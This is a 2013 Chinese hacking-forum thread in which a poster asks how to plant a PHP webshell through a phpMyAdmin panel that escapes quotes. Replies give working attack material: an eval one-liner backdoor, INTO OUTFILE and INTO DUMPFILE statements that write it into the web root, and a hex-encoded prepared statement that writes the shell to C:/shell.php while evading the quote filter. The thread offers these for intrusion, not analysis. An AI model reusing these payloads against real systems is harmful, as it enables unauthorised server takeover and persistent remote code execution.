发现一个phpmyadmin,给过滤'导不出shell 求方法
三十度 | 2013-07-23 20:41
今天碰到个phpmyadmin 发现只要执行
Insert INTO a (cmd) VALUES('<?php @eval($_POST[cmd])?>');
或
select cmd from a into outfile 'F:/APMServ5.2.6/www/phpMyAdmin/eval.php';
就会变成
Insert INTO a (cmd) VALUES(\\\'<?php @eval($_POST[cmd])?>\\\');
一句话还可以手工插下 不过导不出来没 招了 话说'可以在phpmyadmin下转码成别的么 url编码是不行了 。。哪位有经验的 支个招
相关讨论:
1#
Mujj (我主要是不太会说话,如有冒犯,你他妈来打我啊。) | 2013-07-23 20:45
select "<?php @eval($_POST['pass']);?>" into outfile 'F:\\APMServ5.2.6\\www\\phpMyAdmin\\1.php';
2#
三十度 | 2013-07-23 20:54
@Mujj 一样 也试过了 sql.php?那个直接get提交的也试了 就是不行
'F:\\APMServ5.2.6\\www\\phpMyAdmin\\1.php';
. 他会在'前面加上\\\
3#
三十度 | 2013-07-23 20:55
奇怪 我明明发的三个\怎么变 6个了
4#
三十度 | 2013-07-23 20:55
。。。发\ *2的么
5#
楼上是马甲 | 2013-07-23 21:01
mysql> use xssdb; Database changed mysql> set @a=0x73656C6563742030783343334637303638373032303430363537363631364332 38323435463530344635333534354232373633364436343237354432393342334633452066726F6D 20787373206C696D6974203120696E746F206F757466696C652027433A2F7368656C6C2E70687027; Query OK, 0 rows affected (0.00 sec) mysql> prepare cmd from @a; Query OK, 0 rows affected (0.00 sec) Statement prepared mysql> execute cmd; Query OK, 1 row affected (0.00 sec)
6#
laterain | 2013-07-23 21:04
@楼上是马甲 toby57的方法,不错
7#
kafeivests | 2013-07-23 21:05
好方法哎
8#
三十度 | 2013-07-23 21:17
@楼上是马甲 ...不行啊 你那个编码的是用的哪个数据库 ?他那个数据库只有一个dbzbhr库 test mysql什么的都没
9#
三十度 | 2013-07-23 21:22
@kafeivests 加下我Q 59612934 郁闷
@a=0x73656C656374203078334333463730363837303230343036353736363136433238323435463530344635333534354232373633364436343237354432393342334633452066726F6D20787373206C696D6974203120696E746F206F757466696C652027433A2F7368656C6C2E70687027
成功了 下面那两句不行 错误
10#
三十度 | 2013-07-23 21:37
@楼上是马甲 谢谢马甲兄了 。。。搞了 2 3个小时还是搞不下来 但感觉你给的代码应该是很牛B的样子 先收藏了
11#
dir | 2013-07-24 00:01
@三十度 你确定你的权限足够导出文件???且不说shell
12#
顺子 | 2013-07-24 01:13
奇怪。怎么可能过滤' ??
select * from xxx where x = '1'
这样的查询也带' 也过滤?
13#
Sunshie | 2013-07-24 07:19
开启外联,连接到本地搞
14#
Sunshie | 2013-07-24 07:22
select 马的十六进制 into dumpfile '路径'
留言评论(旧系统):